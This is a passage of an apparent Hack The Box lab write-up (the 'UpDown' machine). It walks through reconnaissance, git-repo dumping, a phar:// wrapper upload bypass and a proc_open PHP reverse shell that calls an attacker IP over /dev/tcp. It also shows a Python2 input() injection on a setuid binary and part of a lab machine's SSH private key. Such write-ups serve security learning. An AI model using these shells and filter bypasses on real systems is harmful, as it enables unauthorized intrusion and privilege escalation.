 d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z"
 clip-rule="evenodd"
 /&gt;
&lt;/svg&gt;
&lt;/span&gt;
 &lt;/span&gt;
 &lt;/summary&gt;
&lt;div class="px-4 pb-4 text-neutral-700 dark:text-neutral-300"&gt;
 &lt;pre&gt;&lt;code&gt;Nmap scan report for 10.129.227.227
Host is up (0.040s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
| 256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_ 256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?
|_http-server-header: Apache/2.4.41 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=4/9%OT=22%CT=1%CU=34949%PV=Y%DS=2%DC=I%G=Y%TM=69D81DCE
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ(
OS:SP=104%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=105%GCD=1%ISR=10D%TI=Z%C
OS:I=Z%II=I%TS=A)SEQ(SP=F4%GCD=1%ISR=F8%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=F8%GCD=1
OS:%ISR=108%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M4E2ST11NW7%O2=M4E2ST11NW7%O3=M4E2NN
OS:T11NW7%O4=M4E2ST11NW7%O5=M4E2ST11NW7%O6=M4E2ST11)WIN(W1=FE88%W2=FE88%W3=
OS:FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M4E2NNSNW7%CC=Y%
OS:Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40
OS:%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q
OS:=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IP
OS:L=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.58 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-09 23:44 CEST
Nmap scan report for 10.129.227.227
Host is up (0.028s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 11.93 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-09 23:45 CEST
Nmap scan report for 10.129.227.227
Host is up (0.028s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc

Nmap done: 1 IP address (1 host up) scanned in 1011.77 seconds
&lt;/code&gt;&lt;/pre&gt;

 &lt;/div&gt;
&lt;/details&gt;

&lt;/div&gt;

&lt;style&gt;
 #accordion-b384508b4c968639ee5c0ced976148a1 &gt; details + details {
 border-top: 1px solid rgb(var(--color-neutral-200));
 }
 .dark #accordion-b384508b4c968639ee5c0ced976148a1 &gt; details + details {
 border-top-color: rgb(var(--color-neutral-700));
 }
&lt;/style&gt;

&lt;style&gt;
 #accordion-b384508b4c968639ee5c0ced976148a1 details[data-accordion-item] &gt; summary .accordion-chevron {
 transform: rotate(-90deg);
 transition: transform 200ms ease-in-out;
 }
 #accordion-b384508b4c968639ee5c0ced976148a1 details[data-accordion-item][open] &gt; summary .accordion-chevron {
 transform: rotate(0deg);
 }
&lt;/style&gt;

&lt;script&gt;
 (() =&gt; {
 const root = document.getElementById("accordion-b384508b4c968639ee5c0ced976148a1");
 if (!root) return;
 const items = root.querySelectorAll("details[data-accordion-item]");
 items.forEach((item) =&gt; {
 item.addEventListener("toggle", () =&gt; {
 if (!item.open) return;
 items.forEach((other) =&gt; {
 if (other !== item) other.removeAttribute("open");
 });
 });
 });
 })();
&lt;/script&gt;

&lt;br&gt;&lt;/p&gt;

&lt;h3 class="relative group"&gt;HTTP
 &lt;div id="http" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;Looking at the website we can see that it&amp;rsquo;s conceptually a simple website that checks if another given website is up, or down. Looking around the mechanism normally and through burpsuite I can see that there is a lot of filtering around the input. The most bare down version of a query is &amp;ldquo;h://t&amp;rdquo; but any type of injection or inclusion are being caught by the system&amp;rsquo;s logic.&lt;/p&gt;
&lt;p&gt;Now I&amp;rsquo;ll set up a listener and see if the checker connects - it does. I now created a PHP shell and I&amp;rsquo;ll see if it executes it. Unfortunately it doesn&amp;rsquo;t.&lt;/p&gt;
&lt;p&gt;I scanned for different subdomains and directories with [[ffuf]] and I found &amp;ldquo;dev&amp;rdquo; for both of the scans. It however only shows a 403 - forbidden error.&lt;/p&gt;
&lt;p&gt;I started another directory enumeration with ffuf - this time inside &lt;code&gt;/dev&lt;/code&gt; and it came I found a &amp;ldquo;.git&amp;rdquo; directory. I didn&amp;rsquo;t think of it as valuable at first, but after some digging and reading it can hold some nice data. I also found this tool named &lt;a href="http://dev.10.129.227.227/dev/.git/" target="_blank" rel="noreferrer"&gt;git-dumper&lt;/a&gt; which seems it could be useful exactly for that.&lt;/p&gt;

&lt;h3 class="relative group"&gt;Git code review
 &lt;div id="git-code-review" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I tested both manual enumeration and with git-dumper. The second one is in my opinion superior as the tool doesn&amp;rsquo;t only download and list files from /.git as I expected - it reconstructs the repo itself rebuilding the actual working directory from the git objects.&lt;/p&gt;
&lt;p&gt;From the &amp;ldquo;changelog.txt&amp;rdquo; I learn that there is an upload option on the website and a plan for a new admin panel.
Checking the &amp;ldquo;checker.php&amp;rdquo; I found some interesting information about the logic of the website, especially these parts:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-PHP" data-lang="PHP"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Check if extension is allowed.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="nv"&gt;$ext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;getExtension&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$ext&lt;/span&gt;&lt;span class="p"&gt;)){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Extension not allowed!&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Create directory to upload our file.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="nv"&gt;$dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;uploads/&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;/&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;is_dir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$dir&lt;/span&gt;&lt;span class="p"&gt;)){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;mkdir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mo"&gt;0770&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# File size must be less than 10kb.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_FILES&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;file&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;size&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;10000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;File too large!&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Key information:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;I know which extensions are not allowed&lt;/li&gt;
&lt;li&gt;I know the upload location and the naming convention of the uploaded file too&lt;/li&gt;
&lt;li&gt;I know that the file must be smaller than 10 kB.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now my task is to structure an attack path that will check all of these boxes.
Firstly, one php related extension which can execute that I don&amp;rsquo;t see mentioned in the script is &amp;ldquo;.phar&amp;rdquo;.
With a reverse shell named &amp;ldquo;shell.phar&amp;rdquo; I would need to access it under &amp;ldquo;&lt;a href="http://siteisup.htb/uploads/" target="_blank" rel="noreferrer"&gt;http://siteisup.htb/uploads/&lt;/a&gt;&lt;md5 hash of the upload time&gt;/shell.phar&amp;rdquo; - let&amp;rsquo;s see if I&amp;rsquo;m right.&lt;/p&gt;
&lt;p&gt;I create a shell file, the payload itself is from PentestMonkey.
I started a python server where my shell resides with &lt;code&gt;azaeir@parrot (~/Desktop/htb/machines/updown): python -m http.server 1338&lt;/code&gt;, I requested the shell from the siteisup.htb and got a confirmation that it was successful. This confirmation also contains a timestamp &lt;code&gt;10.129.227.227 - - [11/Apr/2026 16:51:45] &amp;quot;GET /shell.phar HTTP/1.1&amp;quot; 200 -&lt;/code&gt;. I quickly read that the PHP&amp;rsquo;s time() function uses epoch format. I could&amp;rsquo;ve ran the function myself, but I found a &lt;a href="https://www.epochconverter.com/" target="_blank" rel="noreferrer"&gt;simple website&lt;/a&gt; that converts time dates into epoch. I take my output of &amp;ldquo;1765462305&amp;rdquo; and run it against a &lt;a href="https://www.md5hashgenerator.com/" target="_blank" rel="noreferrer"&gt;hash generator&lt;/a&gt; and get my hash - here is the process:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;11/Apr/2026 16:51:45 - Original&lt;/li&gt;
&lt;li&gt;11/Apr/2026 14:51:45 - Converted to UTC&lt;/li&gt;
&lt;li&gt;1775919105 - Converted into Epoch&lt;/li&gt;
&lt;li&gt;696c4310b51bd75fc8591dca1f24e191 - Hashed with MD5&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Sadly - even though it would be a cool technique - this doesn&amp;rsquo;t work.
This could be because of the server using different time or the last function in the script which might automatically delete uploaded files to block this whole attack path.&lt;/p&gt;
&lt;p&gt;I decided to step back and carefully read through all the files and try to understand them.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Foothold
 &lt;div id="foothold" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;

&lt;h3 class="relative group"&gt;Setting up the header
 &lt;div id="setting-up-the-header" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;In the &lt;code&gt;.htaccess&lt;/code&gt; there is a rule that blocks all traffic unless a request includes the &amp;ldquo;Special-Dev header set to &amp;ldquo;only4dev&amp;rdquo;, which then grants access via an environment flag. Let&amp;rsquo;s try to access both the normal and the &lt;code&gt;dev.&lt;/code&gt; subdomain.&lt;/p&gt;
&lt;p&gt;I can&amp;rsquo;t seem to make it work with burpsuite, I get a time-out, but curl does work &lt;code&gt;curl -H &amp;quot;Special-Dev: only4dev&amp;quot; http://dev.siteisup.htb&lt;/code&gt;. To make it work better I found this &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/modify-header-value/" target="_blank" rel="noreferrer"&gt;firefox add-on&lt;/a&gt; which made it persistent.&lt;/p&gt;

&lt;h3 class="relative group"&gt;PHP wrappers
 &lt;div id="php-wrappers" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;At this point I struggled a lot. I got access to the developer which allowed me this time to upload a file with URL addresses to check if they are up or down. I wasn&amp;rsquo;t able to upload any rev shells or webshell because of the extension limits I saw in the source code. When I accessed the admin page I noticed a &amp;ldquo;page&amp;rdquo; get parameter so I decided to look for some PHP filters and attempt LFI but this also failed. While researching PHP filters I stumbled upon the topic of PHP wrappers. In short, PHP wrappers allow PHP to read a bunch of different streams of data. So besides being used with &lt;code&gt;http://&lt;/code&gt; or &lt;code&gt;https://&lt;/code&gt; it can also understand &lt;code&gt;zip://&lt;/code&gt;, &lt;code&gt;phar://&lt;/code&gt; and a bunch of more of them. As I wasn&amp;rsquo;t able to input basic php extensions I wanted to upload a zip file with my rev shell but it didn&amp;rsquo;t work. I guess partially because of the fact that php was also somewhere in the code mentioned to be black listed, and, also because they might be further filtering for PHP functions rendering most of the shell useless. I decided to create a zip file but change it&amp;rsquo;s extension to something random, hoping that filtering doesn&amp;rsquo;t check the magic bytes and run &lt;code&gt;&amp;lt;?php phpinfo(); ?&amp;gt;&lt;/code&gt;. To access this file, I decided to try phar as it behaves in a lot of ways like zip data stream but it might&amp;rsquo;ve not been blocked and to my surprise, this combination worked. &lt;code&gt;http://dev.siteisup.htb/?page=phar://uploads/4eba46216cd35f13b3cd75de77575283/info.az/info&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In phpinfo I can see a big list of disabled function which explains why my shells didn&amp;rsquo;t work.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,error_log,system,exec,shell_exec,popen,passthru,link,symlink,syslog,ld,mail,stream_socket_sendto,dl,stream_socket_client,fsockopen&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 class="relative group"&gt;Bypassing filters
 &lt;div id="bypassing-filters" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I could look through them manually and see if there are any that were not mentioned, but I much more prefer to use &lt;a href="https://github.com/teambi0s/dfunc-bypasser" target="_blank" rel="noreferrer"&gt;dfunc-bypasser&lt;/a&gt;. The original dfunc runs on python2 which is deprecated, but I luckily found a &lt;a href="https://github.com/UsifAraby/dfunc-bypasser-python3" target="_blank" rel="noreferrer"&gt;python3 fork&lt;/a&gt;.
When I ran this script it didn&amp;rsquo;t want to connect to the site, this is likely because of the fact that we need a special header to access it. I made a copy of the tool and looked through it to see if I can add edit the header somewhere in it but I wasn&amp;rsquo;t able to figure it out. I just decided to cut my losses and examine the list myself. It would be a big waste of time if I started to edit a python script for it to not find any functions.&lt;/p&gt;
&lt;p&gt;I wanted to go one-by-one through the functions. Then I thought I could make some short python script/loop that would check phpinfo() output and mark those vulnerable functions and lastly I though &amp;ldquo;this functionality must be in the dfunc-bypasser itself, right?&amp;rdquo; Because of that I noticed two easy way to enumerate those functions.&lt;/p&gt;
&lt;p&gt;Firstly there is no need to edit the dfunc-bypasser, there is a simple &lt;code&gt;-H&lt;/code&gt; flag which worked for me &lt;code&gt;dfunc-bypasser.py --url 'http://dev.siteisup.htb/?page=phar://uploads/9d7e3ad5bd39603e06555b7ab37a490d/info.az/info' -H 'Special-Dev=only4dev'&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Secondly, there is a &lt;code&gt;--file&lt;/code&gt; flag which takes a local file of phpinfo so one could dump the data from the website and parse it that way.&lt;/p&gt;

&lt;h3 class="relative group"&gt;Setting up a shell
 &lt;div id="setting-up-a-shell" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;Finally, I can see that &lt;code&gt;proc_open&lt;/code&gt; is a function that is not being filtered.&lt;/p&gt;
&lt;p&gt;To exploit this function I started to look for different web shells like &lt;a href="https://github.com/prodigiousMind/revshell/blob/main/rev.php" target="_blank" rel="noreferrer"&gt;this one&lt;/a&gt; or &lt;a href="https://github.com/Boon-Rekcah/php-reverse-shell-proc_open" target="_blank" rel="noreferrer"&gt;this one&lt;/a&gt;. I swapped through a bunch of them until I finally found one that worked and didn&amp;rsquo;t use any forbidden functions:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;?php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$descriptorspec = array(
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0 =&amp;gt; array(&amp;#34;pipe&amp;#34;, &amp;#34;r&amp;#34;), // stdin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 1 =&amp;gt; array(&amp;#34;pipe&amp;#34;, &amp;#34;w&amp;#34;), // stdout
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 2 =&amp;gt; array(&amp;#34;pipe&amp;#34;, &amp;#34;w&amp;#34;) // stderr
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$process = proc_open(&amp;#39;/bin/bash -c &amp;#34;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.15.189/1337 0&amp;gt;&amp;amp;1&amp;#34;&amp;#39;, $descriptorspec, $pipes);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if (is_resource($process)) {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; fclose($pipes[0]);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; fclose($pipes[1]);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; fclose($pipes[2]);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; proc_close($process);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I put it in &amp;ldquo;procopenshell.php&amp;rdquo; and zipped it using an arbitrary extension - &lt;code&gt;zip proc.lol procopenshell.php&lt;/code&gt;.
I started a listener to catch the shell - &lt;code&gt;rlwrap -r nc -lnvp 1337&lt;/code&gt;
And soon after I uploaded the file, I access the shell with this URL &lt;code&gt;http://dev.siteisup.htb/?page=phar://uploads/b47622cacd7fde0edbbdcea9c74b7e28/proc.lol/procopenshell&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;What I found confusing is that I had to specify an extension for procopenshell.php even though the websites logic showed that it will append it itself. Without the extension, shell doesn&amp;rsquo;t execute. Maybe it&amp;rsquo;s because the file is in an archive? I guess it just checks the initial archive folder and doesn&amp;rsquo;t look inside - hard for me to tell.&lt;/p&gt;

&lt;h3 class="relative group"&gt;www-data
 &lt;div id="www-data" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;Anyway, with this we finally get a shell as a www-data user.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;www-data@updown:/home/developer/dev$ ls -la
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ls -la
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;total 32
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;drwxr-x--- 2 developer www-data 4096 Jun 22 2022 .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;drwxr-xr-x 6 developer developer 4096 Aug 30 2022 ..
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rwsr-x--- 1 developer www-data 16928 Jun 22 2022 siteisup&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Looking around the machine, I see that there is a user.txt flag located in the developer home directory. I can&amp;rsquo;t access it, because I lack permissions to read it.
In the home directory of that user there is a &lt;code&gt;/dev&lt;/code&gt; folder which hosts two files - &amp;ldquo;siteisup&amp;rdquo; and &amp;ldquo;siteisup_text.py&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Looking at the files I can see that siteisup has a sid as root so this is likely a way to priv-esc.&lt;/p&gt;
&lt;p&gt;Looking at siteisup with the strings command I can see that it is related to siteisup_text.py.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Welcome to &amp;#39;siteisup.htb&amp;#39; application
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/bin/python /home/developer/dev/siteisup_test.py&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Next step is to read and understand the second script.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url = input(&amp;#34;Enter URL here:&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;page = requests.get(url)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if page.status_code == 200:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	print &amp;#34;Website is up&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;else:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	print &amp;#34;Website is down&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I missed this detail few first times I read the code, but apparently this is a Python2 code and it uses the input() function to get user input which luckily for me also automatically executes code. This function uses eval() in the backend meaning it behaves like eval in all other languages!&lt;/p&gt;
&lt;p&gt;First i tried a code injection with &lt;code&gt;__import__('os').system('bash')&lt;/code&gt; into &lt;code&gt;siteisup_test.py&lt;/code&gt; but it hangs the shell up.&lt;br&gt;
Then, I tried a code injection with &lt;code&gt;__import__('os').system('bash')&lt;/code&gt; into &lt;code&gt;siteisup&lt;/code&gt; which worked without any issues.&lt;/p&gt;

&lt;h3 class="relative group"&gt;developer
 &lt;div id="developer" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;With that, I got a partial access as the developer account. The word partial is important - in reality - I only &lt;code&gt;siteisup&lt;/code&gt; tool as the developer, other than that my permissions are still www-data level.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rw-r----- 1 root developer 33 Apr 12 10:06 user.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat user.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat: user.txt: Permission denied&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Luckily, quickly looking around the developer&amp;rsquo;s home directory I found their &lt;code&gt;id_rsa&lt;/code&gt; private key. Which I copied, changed permissions and ran which game me full permissions as that account.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-----BEGIN OPENSSH PRIVATE KEY-----
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NhAAAAAwEAAQAAAYEAmvB40TWM8eu0n6FOzixTA1pQ39SpwYyrYCjKrDtp8g5E05EEcJw/
